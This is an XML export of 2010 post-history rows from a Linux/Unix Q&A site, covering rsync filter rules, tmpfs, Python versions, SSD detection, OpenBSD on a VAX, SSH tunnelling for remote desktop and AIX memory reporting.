  <row Id="5164" PostHistoryTypeId="2" PostId="2497" RevisionGUID="92043b6e-754c-476c-b9c5-d330ee803244" CreationDate="2010-09-28T15:13:41.540" UserId="1207" Text="Here is something that should work without using find.  The difference from answers already posted is the order of the filter rules.  Filter rules in an rsync command work a lot like iptable rules, the first rule that a file matches is the one that is used.  From the [manual page][1]:&#xD;&#xA;&#xD;&#xA;&gt; As the list of files/directories to&#xD;&#xA;&gt; transfer is built, rsync checks each&#xD;&#xA;&gt; name to be transferred against the&#xD;&#xA;&gt; list of include/exclude patterns in&#xD;&#xA;&gt; turn, and  the&#xD;&#xA;&gt;        first matching pattern is acted on:  if it is an exclude pattern, then&#xD;&#xA;&gt; that file is skipped; if it is an&#xD;&#xA;&gt; include pattern then that filename is&#xD;&#xA;&gt; not skipped; if&#xD;&#xA;&gt;        no matching pattern is found, then the filename is not skipped.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thus, you need a command as follows:&#xD;&#xA;&#xD;&#xA;    rsync -avn --include=&quot;**.pdf&quot; --exclude=&quot;*&quot; ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;Note the &quot;**.pdf&quot; pattern.  According to [the man page][2]: &#xD;&#xA;&#xD;&#xA;&gt; if the pattern contains a / (not counting a trailing /) or a &quot;**&quot;, then it is matched against the full pathname, including any leading directories.  If&#xD;&#xA;              the  pattern  doesn’t  contain  a  /  or  a &quot;\*\*&quot;, then it is matched only against the final component of the filename.  (Remember that the algorithm is&#xD;&#xA;              applied recursively so &quot;full filename&quot; can actually be any portion of a path from the starting directory on down&#xD;&#xA;&#xD;&#xA;In my small test, this does work recursively down the directory tree and only selects the pdfs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/rsync.1.html#toptoc14&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/maverick/en/man1/rsync.1.html#toptoc15" />
  <row Id="5165" PostHistoryTypeId="6" PostId="2161" RevisionGUID="4bb594b9-6aee-4da9-9246-d1296c634dc0" CreationDate="2010-09-28T15:26:40.790" UserId="1207" Comment="edited tags" Text="ézshàébackupàérsyncà" />
  <row Id="5166" PostHistoryTypeId="2" PostId="2498" RevisionGUID="32cfc6c0-699c-475b-a451-d86bc5ad8c1a" CreationDate="2010-09-28T15:50:46.663" UserDisplayName="knowmercy" Text="The folks who've done a lot of dev for opensolaris have pretty much all joined the OpenIndiana bandwagon. You can find more information at http://www.openindiana.org. " />
  <row Id="5167" PostHistoryTypeId="2" PostId="2499" RevisionGUID="864e7302-aa7c-4d82-b1b7-8ea383974799" CreationDate="2010-09-28T17:17:54.017" UserId="1976" Text="I have a celeron procesor 430, 2GiB Ram. Under VirtualBox I use VisualStudio and everything works fine." />
  <row Id="5168" PostHistoryTypeId="2" PostId="2500" RevisionGUID="5a205d28-3016-4703-bbd5-e5c0d39e843d" CreationDate="2010-09-28T17:48:14.160" UserId="1941" Text="I'm no expert for RHEL WS5 but for Cent OS 5, which is basically RHEL with all references to Redhat removed, there is a nice tutorial at [centos.org][1] which explains how to build a modified version of the distribution kernel. The procedure explained there will probably work for RHEL WS, too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.centos.org/HowTos/Custom_Kernel" />
  <row Id="5169" PostHistoryTypeId="2" PostId="2501" RevisionGUID="9cf5354e-ccde-490a-abf0-37838c49234f" CreationDate="2010-09-28T18:03:58.007" Text="Use a privileged user manager [ licensed :( ] and you could run commands that need super user access as a normal user. Everything is tracked and audited" />
  <row Id="5170" PostHistoryTypeId="2" PostId="2502" RevisionGUID="1b8d8ed7-a81f-4f3d-b06f-7bc58721294a" CreationDate="2010-09-28T18:09:33.990" UserId="2042" Text="Background&#xD;&#xA;==========&#xD;&#xA;Since I develop python programs that must run on different python versions, I have installed different versions of python on my computer.&#xD;&#xA;&#xD;&#xA;I am using FC 13 so it came with python 2.6 pre-installed in `/usr/bin/python2.6` and `/usr/lib/python2.6`.&#xD;&#xA;&#xD;&#xA;I installed python 2.5 from source, and to keep things neat, I used the `--prefix=/usr` option, which installed python in `/usr/bin/python2.5` and `/usr/lib/python2.5`. However, I also have&#xD;&#xA;&#xD;&#xA;Now, when I run `python` my prompt shows I am using version 2.5. However, I am having some issues with the install.&#xD;&#xA;&#xD;&#xA;Package management.&#xD;&#xA;------------------&#xD;&#xA;Using easy_install, packages are always installed in `/usr/lib/python2.6/site-packages/`. I downloaded `setuptools` .egg for python 2.5 and tried to install it, but it gives me an error: &quot;/usr/lib/python2.5/site-packages does NOT support .pth files&quot;&#xD;&#xA;&#xD;&#xA;It seems that python2.5 is not in my PYTHONPATH. I thought the default install would add itself to the PYTHONPATH, but when I write `echo $PYTHONPATH` at promt, I just receive an empty line.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5171" PostHistoryTypeId="1" PostId="2502" RevisionGUID="1b8d8ed7-a81f-4f3d-b06f-7bc58721294a" CreationDate="2010-09-28T18:09:33.990" UserId="2042" Text="Using different versions of Python" />
  <row Id="5172" PostHistoryTypeId="3" PostId="2502" RevisionGUID="1b8d8ed7-a81f-4f3d-b06f-7bc58721294a" CreationDate="2010-09-28T18:09:33.990" UserId="2042" Text="élinuxàéinstallà" />
  <row Id="5173" PostHistoryTypeId="5" PostId="2422" RevisionGUID="1b04af23-4231-4065-a5c8-aac60e7bca60" CreationDate="2010-09-28T18:18:33.083" UserId="885" Comment="mention memory usage limit" Text="Most unices clean `/tmp` on boot. If you do this, there isn't much point in storing the contents of `/tmp` on disk in the first place. Many unices allow a filesystem to be stored in memory (the data will be written in the swap if necessary). For some reason, even though Linux has `tmpfs` for this, most distributions don't mount `/tmp` as `tmpfs`. It's easily remedied with a line in `/etc/fstab`:&#xD;&#xA;&#xD;&#xA;    tmpfs  /tmp  tmpfs  mode=1777&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;By default, the filesystem can grow up to half your RAM. If you have a lot of swap, you might want to allow it to contain bigger files, e.g. to allow up to 2 GB:&#xD;&#xA;&#xD;&#xA;    tmpfs  /tmp  tmpfs  mode=1777,2g&#xD;&#xA;&#xD;&#xA;(Making the filesystem larger has a negligible overhead; the virtual memory usage grows as needed. It's still a good idea to have a limit because a runaway program could fill it very fast, and it's better to run out of `/tmp` than to run out of memory available for processes.)&#xD;&#xA;" />
  <row Id="5174" PostHistoryTypeId="2" PostId="2503" RevisionGUID="085ae239-9d08-45e6-896f-0d04496fd637" CreationDate="2010-09-28T19:23:42.687" UserId="885" Text="Rsync's filter rules can seem daunting when you read the manual, but there are a few simple principles that suffice in many cases:&#xD;&#xA;&#xD;&#xA;* Inclusions and exclusions:&#xD;&#xA; * Excluding files by name or by location is easy: `--exclude=*~`, `--exclude=/some/relative/location`.&#xD;&#xA; * If you only want to match a few files or locations, include them, *include every directory leading to them* (for example with `--include=*/`), then exclude the rest with `--exclude='*'`. This is because:&#xD;&#xA; * If you exclude a directory, this excludes everything below it.&#xD;&#xA; * If you include a directory, this doesn't automatically include its contents. In recent versions, `--include='directory/***'` will do that.&#xD;&#xA;&#xD;&#xA;* Patterns:&#xD;&#xA; * If a pattern doesn't contain a `/`, it applies to the file name sans directory.&#xD;&#xA; * If a pattern ends with `/`, it applies to directories only.&#xD;&#xA; * If a pattern starts with `/`, it applies to the whole path from the directory that was passed as an argument to `rsync.&#xD;&#xA; * `*` any substring of a single directory component (i.e. never matches `/`); `**` matches any path substring.&#xD;&#xA;&#xD;&#xA;* If a source argument ends with a `/`, its contents are copied (`rsync -r a/ b` creates `b/foo` for every `a/foo`). Otherwise the directory itself is copied (`rsync a/ b` creates `b/a`).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Thus here we need to include `*.pdf`, include directories containing them, and exclude everything else.&#xD;&#xA;&#xD;&#xA;    rsync -a --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;Note that this copies all directories, even the ones that contain no matching file or subdirectory containing one. This can be avoided with the `--prune-empty-dirs` option (it's not a universal solution since you then can't copy a directory even by matching it explicitly, but that's a rare requirement).&#xD;&#xA;&#xD;&#xA;    rsync -am --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;" />
  <row Id="5175" PostHistoryTypeId="2" PostId="2504" RevisionGUID="778d7eb8-41b3-4d50-979a-81b0ef5ed95c" CreationDate="2010-09-28T20:28:49.867" UserId="396" Text="    rsync -av --include=&quot;*/&quot; --include=&quot;*.pdf&quot; --exclude=&quot;*&quot; ~/Latex/ ~/Output/ --dry-run&#xD;&#xA;&#xD;&#xA;The default is to include everything, so you must explicitly exclude everything *after* including the files you want to transfer.&#xD;&#xA;Remove the --dry-run to actually transfer the files.&#xD;&#xA;&#xD;&#xA;If you start off with:&#xD;&#xA;&#xD;&#xA;    --exclude '*' --include '*.pdf'&#xD;&#xA;&#xD;&#xA;Then the greedy matching will exclude everything right off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you try:&#xD;&#xA;&#xD;&#xA;    --include '*.pdf' --exclude '*' &#xD;&#xA;&#xD;&#xA;Then only pdf files in the top level folder will be transferred. It won't follow any directories, since those are excluded by '*'.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5176" PostHistoryTypeId="2" PostId="2505" RevisionGUID="5fd41e98-5b42-4589-8ddd-dbb4ecd25da4" CreationDate="2010-09-28T20:42:43.047" UserId="1941" Text="I just switched from the standard Gnome window manager to openbox (still running inside Gnome) and like it a lot. However, now I need a new run dialog, e.g. the thing popping up when hitting Alt+F2 in Gnome. I see in the openbox wiki, I can use the one from gnome with &quot;gnome-panel-control --run-dialog&quot; but maybe some one can recommend a better program for this?" />
  <row Id="5177" PostHistoryTypeId="1" PostId="2505" RevisionGUID="5fd41e98-5b42-4589-8ddd-dbb4ecd25da4" CreationDate="2010-09-28T20:42:43.047" UserId="1941" Text="Which run dialog" />
  <row Id="5178" PostHistoryTypeId="3" PostId="2505" RevisionGUID="5fd41e98-5b42-4589-8ddd-dbb4ecd25da4" CreationDate="2010-09-28T20:42:43.047" UserId="1941" Text="égnomeàéopenboxàérunödialogà" />
  <row Id="5179" PostHistoryTypeId="2" PostId="2506" RevisionGUID="af7d3878-50fa-4190-bf80-f467699a4a4b" CreationDate="2010-09-28T21:09:40.520" UserId="33" Text="Personally I use `gnome-do` for that kind of stuff. Yeah it's mono and some people don't like that, but if you enter a commend it runs it and when it's about running GUI applications it's a really quick way to trigger them. Since gnome-do has so many plugins, many of the actions I'd usually run via alt+F2 (like quickly mounting something) I can just do via gnome-do: I type &quot;mo&quot; and it already knows that I probably want to mount something and offers me the filesystems I have defined that I have not yet mounted (just as an example).&#xD;&#xA;&#xD;&#xA;If you don't like mono there is an app called &quot;kupfer&quot; which does similar things written in Python, it just doesn't have all the features gnome-do has.&#xD;&#xA;&#xD;&#xA;When I want to run &quot;real&quot; shell commands I tend to just open a terminal." />
  <row Id="5180" PostHistoryTypeId="2" PostId="2507" RevisionGUID="d44d1630-1d15-4d6b-823c-7a2e32d42c87" CreationDate="2010-09-28T21:45:11.483" UserId="73" Text="There's probably hundreds of equally valid answers for this, but I use [gmrun](http://sourceforge.net/projects/gmrun/):&#xD;&#xA;&#xD;&#xA;![Screenshot of gmrun](http://mrozekma.com/gmrun.png)&#xD;&#xA;&#xD;&#xA;It has miscellaneous useful features:&#xD;&#xA;&#xD;&#xA;* You can run a command in a terminal using &lt;kbd&gt;Ctrl+Enter&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;* It keeps a history of commands, so you can just keep hitting &lt;kbd&gt;Up&lt;/kbd&gt; to cycle through them, or search through them with the standard shell mechanisms,  [&lt;kbd&gt;Ctrl+R&lt;/kbd&gt;](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/61#61) and [&lt;kbd&gt;!&lt;/kbd&gt;](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/67#67).&#xD;&#xA;&#xD;&#xA;* It also has &lt;kbd&gt;Tab&lt;/kbd&gt;-completion:&#xD;&#xA;&#xD;&#xA;    ![Screenshot of gmrun's tab complete](http://mrozekma.com/gmrun-complete.png)&#xD;&#xA;&#xD;&#xA;* It will let you run a file directly (it knows what program to execute for that particular file type):&#xD;&#xA;&#xD;&#xA;    ![Screenshot of gmrun's file running](http://mrozekma.com/gmrun-file.png)&#xD;&#xA;" />
  <row Id="5181" PostHistoryTypeId="16" PostId="2506" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-28T21:47:41.133" UserId="73" />
  <row Id="5182" PostHistoryTypeId="16" PostId="2507" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-28T21:47:41.133" UserId="73" />
  <row Id="5183" PostHistoryTypeId="16" PostId="2505" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-28T21:47:41.133" UserId="73" />
  <row Id="5184" PostHistoryTypeId="2" PostId="2508" RevisionGUID="21a4b377-c3f5-43a5-8493-dc5aa0b20846" CreationDate="2010-09-28T23:01:12.803" UserId="2049" Text="I'm building a new rig and got the RealSSD C300 for it's supposedly stellar performance, but it it not recognized when I try to install Ubuntu 10.4LTS 64-bit.  Is there anything that I can do to get this recognized?" />
  <row Id="5185" PostHistoryTypeId="1" PostId="2508" RevisionGUID="21a4b377-c3f5-43a5-8493-dc5aa0b20846" CreationDate="2010-09-28T23:01:12.803" UserId="2049" Text="Installing Ubuntu, how do I get it to recognize the Crucial RealSSD C300?" />
  <row Id="5186" PostHistoryTypeId="3" PostId="2508" RevisionGUID="21a4b377-c3f5-43a5-8493-dc5aa0b20846" CreationDate="2010-09-28T23:01:12.803" UserId="2049" Text="éubuntuàéinstallàéssdà" />
  <row Id="5187" PostHistoryTypeId="5" PostId="2508" RevisionGUID="9d4eea1a-9c23-4b41-a346-f683c390a33d" CreationDate="2010-09-29T00:29:44.223" UserId="73" Comment="deleted 1 characters in body" Text="I'm building a new rig and got the RealSSD C300 for its supposedly stellar performance, but it is not recognized when I try to install Ubuntu 10.4LTS 64-bit.  Is there anything that I can do to get this recognized?" />
  <row Id="5188" PostHistoryTypeId="2" PostId="2509" RevisionGUID="e283ad3a-86bd-4954-8be2-18d42b8c3ad1" CreationDate="2010-09-29T01:22:39.043" UserId="2050" Text="I'm also using Fedora 13 also and PYTHONPATH is not set.&#xD;&#xA;&#xD;&#xA;Within python, sys.path will give you a list of the paths used for importing scripts.&#xD;&#xA;&#xD;&#xA;I'm not familiar with how easy_install decides its destination directory but I'm sure there would be a command line argument you could give it.&#xD;&#xA;&#xD;&#xA;Try specifying which python version to run easy_install under by preceding your command with the full path to the python you want. &#xD;&#xA;&#xD;&#xA;Also check if easy_install is a symlink in bin to a script within one python version you have installed." />
  <row Id="5189" PostHistoryTypeId="2" PostId="2510" RevisionGUID="ffda7783-1028-40fc-9384-3a4438114bf8" CreationDate="2010-09-29T02:51:14.193" UserId="1290" Text="Hi, I've got an old VAXstation 3100 Model 76, and I'd like to install OpenBSD/vax 4.7 on it.&#xD;&#xA;&#xD;&#xA;I've got two drives in it, an RZ23 (104MB) and a another 1.09GB. Now, since the 1.09GB is too large for an operating system to boot from (VAXen have that &quot;magical 1.072GB boundary&quot;), I'd like to use the 104MB drive as `/` partition, and all other partitions, including swap should go on to the other drive.&#xD;&#xA;&#xD;&#xA;But how do I do this with the OpenBSD installed, since it lets me chose one disk only?&#xD;&#xA;&#xD;&#xA;I tried installing NetBSD/vax 5.0.2 beforehand, but `sysinst` segfaults right after I give the OK to install the sets.&#xD;&#xA;&#xD;&#xA;The VAXstation has the both hard drives I mentioned above and 16MB RAM (which I'd like to expand some day). The machine is otherwise in perfect working order, expect the NVRAM and RTC don't work any more, I'll change them (new chip is already ordered).&#xD;&#xA;&#xD;&#xA;In case you'd advice another OS (aside from OpenVMS), you might give me hints here, too." />
  <row Id="5190" PostHistoryTypeId="1" PostId="2510" RevisionGUID="ffda7783-1028-40fc-9384-3a4438114bf8" CreationDate="2010-09-29T02:51:14.193" UserId="1290" Text="How to install OpenBSD/vax 4.7 on multiple disks?" />
  <row Id="5191" PostHistoryTypeId="3" PostId="2510" RevisionGUID="ffda7783-1028-40fc-9384-3a4438114bf8" CreationDate="2010-09-29T02:51:14.193" UserId="1290" Text="éopenbsdàévaxàénetbsdà" />
  <row Id="5192" PostHistoryTypeId="6" PostId="2502" RevisionGUID="2da4336d-bd3a-43a4-806c-08bb6d757e8b" CreationDate="2010-09-29T03:20:06.317" UserId="1207" Comment="edited tags" Text="élinuxàéinstallàépythonà" />
  <row Id="5193" PostHistoryTypeId="2" PostId="2511" RevisionGUID="7d046756-73b4-40e0-958b-6fdc4fe90803" CreationDate="2010-09-29T05:44:46.690" UserId="1262" Text="I'm having a friend behind a firewall, with a windows computer. I'm having a Linux machine at home which is not behind a firewall.&#xD;&#xA;&#xD;&#xA;I want to have an rdesktop connection to his machine, without using any intermediate service such as `LogMeIn`.&#xD;&#xA;&#xD;&#xA;My plan is:&#xD;&#xA;&#xD;&#xA;1. Have him SSH to my machine (SSH is allowed by the firewall), and set the appropriate tunnel.&#xD;&#xA;2. Activate rdesktop/vnc on my machine, on the currently ran `X` server.&#xD;&#xA;&#xD;&#xA;What I don't like about it, is the hassle of running programs as his user on the currently running `X` server. I'd rather have him set the tunnel somehow for *my* user, so that I'll just be able to `rdesktop localhost:1234` as long as he's connected to me.&#xD;&#xA;&#xD;&#xA;Any smarter way?" />
  <row Id="5194" PostHistoryTypeId="1" PostId="2511" RevisionGUID="7d046756-73b4-40e0-958b-6fdc4fe90803" CreationDate="2010-09-29T05:44:46.690" UserId="1262" Text="tunneling VNC/rdesktop over ssh" />
  <row Id="5195" PostHistoryTypeId="3" PostId="2511" RevisionGUID="7d046756-73b4-40e0-958b-6fdc4fe90803" CreationDate="2010-09-29T05:44:46.690" UserId="1262" Text="ésshàéfirewallàésshötunnelingà" />
  <row Id="5196" PostHistoryTypeId="2" PostId="2512" RevisionGUID="90d191ed-ba1c-4cb5-a8df-7ff41a3dc9e0" CreationDate="2010-09-29T05:54:41.613" UserId="2053" Text="If I enable hyper threading for my netbook which has an intel Atom (1.6ghz) will it create two virtual 800mhz processors? " />
  <row Id="5197" PostHistoryTypeId="1" PostId="2512" RevisionGUID="90d191ed-ba1c-4cb5-a8df-7ff41a3dc9e0" CreationDate="2010-09-29T05:54:41.613" UserId="2053" Text="Will hyper threading in the kernel create two cores?" />
  <row Id="5198" PostHistoryTypeId="3" PostId="2512" RevisionGUID="90d191ed-ba1c-4cb5-a8df-7ff41a3dc9e0" CreationDate="2010-09-29T05:54:41.613" UserId="2053" Text="ékernelà" />
  <row Id="5199" PostHistoryTypeId="2" PostId="2513" RevisionGUID="95c21a10-8739-425c-97d4-97a6df7c05fa" CreationDate="2010-09-29T06:34:13.453" UserId="1941" Text="No, it will create two virtual 1.6 Ghz processors. (However, when not under load, they will clock down to a much lower clock speed, then 800 Mhz might be correct.) Do&#xD;&#xA;&#xD;&#xA;    cat /proc/cpuinfo&#xD;&#xA;&#xD;&#xA;for infos about them." />
  <row Id="5200" PostHistoryTypeId="2" PostId="2514" RevisionGUID="6ce8d189-a3dd-4905-bbb0-54764989df89" CreationDate="2010-09-29T08:03:46.200" UserId="1941" Text="Is it recognized by the BIOS? Does it work with a Windows Live-CD? According to e.g. [this page][1] or [this blog post in German][2] it should just work with Ubuntu 10.4.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hardwarelogic.com/articles.php?id=10992&amp;page=6&#xD;&#xA;  [2]: http://kefk.org/node/55214" />
  <row Id="5201" PostHistoryTypeId="5" PostId="2502" RevisionGUID="2c6a2f01-3611-4aed-9dfb-b29750eed111" CreationDate="2010-09-29T08:21:50.557" UserId="2042" Comment="added 2 characters in body; deleted 21 characters in body" Text="Background&#xD;&#xA;==========&#xD;&#xA;Since I develop python programs that must run on different python versions, I have installed different versions of python on my computer.&#xD;&#xA;&#xD;&#xA;I am using FC 13 so it came with python 2.6 pre-installed in `/usr/bin/python2.6` and `/usr/lib/python2.6`.&#xD;&#xA;&#xD;&#xA;I installed python 2.5 from source, and to keep things neat, I used the `--prefix=/usr` option, which installed python in `/usr/bin/python2.5` and `/usr/lib/python2.5`.&#xD;&#xA;&#xD;&#xA;Now, when I run `python` my prompt shows I am using version 2.5. However, I am having some issues with the install.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Package management.&#xD;&#xA;------------------&#xD;&#xA;Using easy_install, packages are always installed in `/usr/lib/python2.6/site-packages/`. I downloaded `setuptools` .egg for python 2.5 and tried to install it, but it gives me an error: &quot;/usr/lib/python2.5/site-packages does NOT support .pth files&quot;&#xD;&#xA;&#xD;&#xA;It seems that python2.5 is not in my PYTHONPATH. I thought the default install would add itself to the PYTHONPATH, but when I write `echo $PYTHONPATH` at promt, I just receive an empty line.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5202" PostHistoryTypeId="2" PostId="2515" RevisionGUID="7166bd93-7bf8-4c92-9c7c-711642397aa8" CreationDate="2010-09-29T08:56:16.227" UserId="1339" Text="To change only the new values you will need the config the old kernel was build from.&#xD;&#xA;&#xD;&#xA;In RHEL you can find this in: &#xD;&#xA;&#xD;&#xA;&gt; /boot/config-`uname -r``&#xD;&#xA;&#xD;&#xA;(sorry im not able to escape the backtics from the markup, please delete the last one :-/))&#xD;&#xA;&#xD;&#xA;Copy this file to the kernel source and change the values you want. Use `make menuconfig` for a ncurses gui.&#xD;&#xA;&#xD;&#xA;For other distributions: If the config option `CONFIG_IKCONFIG_PROC` was set, your kernel configuration is available under `/proc/config.gz`" />
  <row Id="5203" PostHistoryTypeId="2" PostId="2516" RevisionGUID="7a0b050c-bd52-4ea5-8067-db89986fa328" CreationDate="2010-09-29T09:00:57.173" UserId="550" Text="I have a host with AIX 6.1 (6100-04-02-1007) upgraded from AIX 5.1 with Veritas Storage Foundation 5.1. &#xD;&#xA;&#xD;&#xA;Since the upgrade from AIX 5.3 to 6.1, Run vx services means a lots of memory consumed that I can not explain. This memory appears in 'nmon' as System (see below System 41.2%). If I do not start Veritas it is &lt;20%. &#xD;&#xA;&#xD;&#xA;Whay does mean that &quot;System&quot; memory? How can I know what is consuming this memory? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     Memory ───────────────────────────────────────────────────────────────────────&#xD;&#xA;              Physical  PageSpace |        pages/sec  In     Out | FileSystemCache &#xD;&#xA;    % Used       93.9%     10.7%  | to Paging Space   0.0    0.0 | (numperm)  3.4% &#xD;&#xA;    % Free        6.1%     89.3%  | to File System    6.0    0.0 | Process   49.3% &#xD;&#xA;    MB Used    7695.0MB   871.5MB | Page Scans    20430.7        | System    41.2% &#xD;&#xA;    MB Free     497.0MB  7304.5MB | Page Cycles       1.5        | Free       6.1% &#xD;&#xA;    Total(MB)  8192.0MB  8176.0MB | Page Steals       0.0        |           ------&#xD;&#xA;                                  | Page Faults   10066.8        | Total    100.0% &#xD;&#xA;    ------------------------------------------------------------ | numclient  3.4% &#xD;&#xA;    Min/Maxperm     237MB(  3%)  7105MB( 87%) &lt;--% of RAM        | maxclient 86.7% &#xD;&#xA;    Min/Maxfree     960   1088       Total Virtual   16.0GB      | User      49.7% &#xD;&#xA;    Min/Maxpgahead    2      8    Accessed Virtual    7.5GB 47.2%| Pinned    41.3% &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5204" PostHistoryTypeId="1" PostId="2516" RevisionGUID="7a0b050c-bd52-4ea5-8067-db89986fa328" CreationDate="2010-09-29T09:00:57.173" UserId="550" Text="What is &quot;System Memory &quot; displayed in nmon in AIX?" />
  <row Id="5205" PostHistoryTypeId="3" PostId="2516" RevisionGUID="7a0b050c-bd52-4ea5-8067-db89986fa328" CreationDate="2010-09-29T09:00:57.173" UserId="550" Text="éperformanceàémemoryàémonitoringàéaixà" />
  <row Id="5206" PostHistoryTypeId="2" PostId="2517" RevisionGUID="dc72f764-436d-4ab1-9c9a-376a5fcc8308" CreationDate="2010-09-29T11:35:01.043" UserId="1982" Text="The problem had nothing to do with drivers. I'm leaving this question and answer here in case someone else searching for Intel H57 / DH57JG eSATA support finds it: Your board **is** supported by Ubuntu 10.04 LTS, no special drivers necessary.&#xD;&#xA;&#xD;&#xA;In my case, it's a build quality issue with the desktop (not the first I've had with this machine, not very happy with the vendor). The backplate bows out so badly from the eSATA port on the MB that it pushes the eSATA connector out. If you stand there and forcibly hold it in, it works. So I'm off to do battle with the backplate..." />
  <row Id="5207" PostHistoryTypeId="5" PostId="2512" RevisionGUID="22c166e1-270a-4d9e-ab0b-6ced388bedd8" CreationDate="2010-09-29T13:50:17.900" UserId="138" Comment="capitalization fixes, question title clarity improvement, added tags" Text="If I enable Hyper-Threading for my netbook which has an Intel Atom (1.6 GHz) will the kernel see two virtual 800 MHz processors? " />
  <row Id="5208" PostHistoryTypeId="4" PostId="2512" RevisionGUID="22c166e1-270a-4d9e-ab0b-6ced388bedd8" CreationDate="2010-09-29T13:50:17.900" UserId="138" Comment="capitalization fixes, question title clarity improvement, added tags" Text="Will enabling Hyper-Threading create two virtual half-speed processors?" />
  <row Id="5209" PostHistoryTypeId="6" PostId="2512" RevisionGUID="22c166e1-270a-4d9e-ab0b-6ced388bedd8" CreationDate="2010-09-29T13:50:17.900" UserId="138" Comment="capitalization fixes, question title clarity improvement, added tags" Text="élinuxàékernelàécpuà" />
  <row Id="5210" PostHistoryTypeId="5" PostId="2513" RevisionGUID="54886523-585b-4990-8fb8-b85f73b37f92" CreationDate="2010-09-29T13:51:17.327" UserId="138" Comment="&quot;hz&quot; -&gt; &quot;Hz&quot;, and minor grammar fix" Text="No, it will create two virtual 1.6 GHz processors. (However, when not under load, they will clock down to a much lower clock speed, then 800 MHz might be correct.) Do&#xD;&#xA;&#xD;&#xA;    cat /proc/cpuinfo&#xD;&#xA;&#xD;&#xA;for information about them." />
  <row Id="5211" PostHistoryTypeId="2" PostId="2518" RevisionGUID="074d25b7-9da3-44a4-b0fe-6223c2d60137" CreationDate="2010-09-29T14:04:14.300" UserId="1264" Text="I would prefer to setup a vpn ([openvpn][1] for example) with server on your machine and client on your friend's machine. When he wants you to connect, he opens the vpn (no login involved on your machine) and you open your remote desktop client to his machine's IP (at least with openvpn, you can assign a &quot;fixed&quot; IP to his machine so you can save it, not needing to look at it everytime).&#xD;&#xA;&#xD;&#xA;This way you have no login to your machine and you only access his machine when he opens the VPN. On the other side, you can shutdown the server when you don't want him to connect to your machine. Anyways, if you don't give him a user on your machine (or a user with only the access you want), he won't be able to to much there.&#xD;&#xA;&#xD;&#xA;And this way, you can do it with more friends easily if needed as they only need to install the vpn client.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openvpn.net/" />
  <row Id="5212" PostHistoryTypeId="5" PostId="2510" RevisionGUID="0ba6a78b-0982-4dc8-9720-14bf8a6770dc" CreationDate="2010-09-29T14:09:10.577" UserId="1290" Comment="deleted 2 characters in body" Text="Hi, I've got an old VAXstation 3100 Model 76, and I'd like to install OpenBSD/vax 4.7 on it.&#xD;&#xA;&#xD;&#xA;I've got two drives in it, an RZ23 (104MB) and a another 1.09GB. Now, since the 1.09GB is too large for an operating system to boot from (VAXen have that &quot;magical 1.072GB boundary&quot;), I'd like to use the 104MB drive as `/` partition, and all other partitions, including swap should go on to the other drive.&#xD;&#xA;&#xD;&#xA;But how do I do this with the OpenBSD install, since it lets me chose one disk only?&#xD;&#xA;&#xD;&#xA;I tried installing NetBSD/vax 5.0.2 beforehand, but `sysinst` segfaults right after I give the OK to install the sets.&#xD;&#xA;&#xD;&#xA;The VAXstation has the both hard drives I mentioned above and 16MB RAM (which I'd like to expand some day). The machine is otherwise in perfect working order, expect the NVRAM and RTC don't work any more, I'll change them (new chip is already ordered).&#xD;&#xA;&#xD;&#xA;In case you'd advice another OS (aside from OpenVMS), you might give me hints here, too." />
  <row Id="5213" PostHistoryTypeId="2" PostId="2519" RevisionGUID="17a2a513-c31a-43d9-811b-3393bdc9ecd9" CreationDate="2010-09-29T15:39:09.767" UserId="2049" Text="The question lies in the SATA3 controller. This forum thread answers the question.&#xD;&#xA;&#xD;&#xA;http://ubuntuforums.org/showthread.php?t=1456238&#xD;&#xA;&#xD;&#xA;In summary, in the BIOS change the SATA3 controller mode to AHCI, this should allow linux to find and use the drive." />
  <row Id="5214" PostHistoryTypeId="2" PostId="2520" RevisionGUID="1ac87136-d1b3-46c0-8b69-fb6b3ee7c75f" CreationDate="2010-09-29T16:33:14.897" UserId="250" Text="Anything like this should be in the man page http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp?topic=/com.ibm.aix.cmds/doc/aixcmds4/nmon.htm&#xD;&#xA;&#xD;&#xA;In particular,&#xD;&#xA;&#xD;&#xA;    Numperm     Number of frames used for files (in 4 KB pages).  &#xD;&#xA;    Process     Percentage of real memory used by process segments.  &#xD;&#xA;    System      Percentage of real memory used by system segments.  &#xD;&#xA;    Free        Percentage of real memory that is free.&#xD;&#xA;&#xD;&#xA;You should try looking up before asking" />
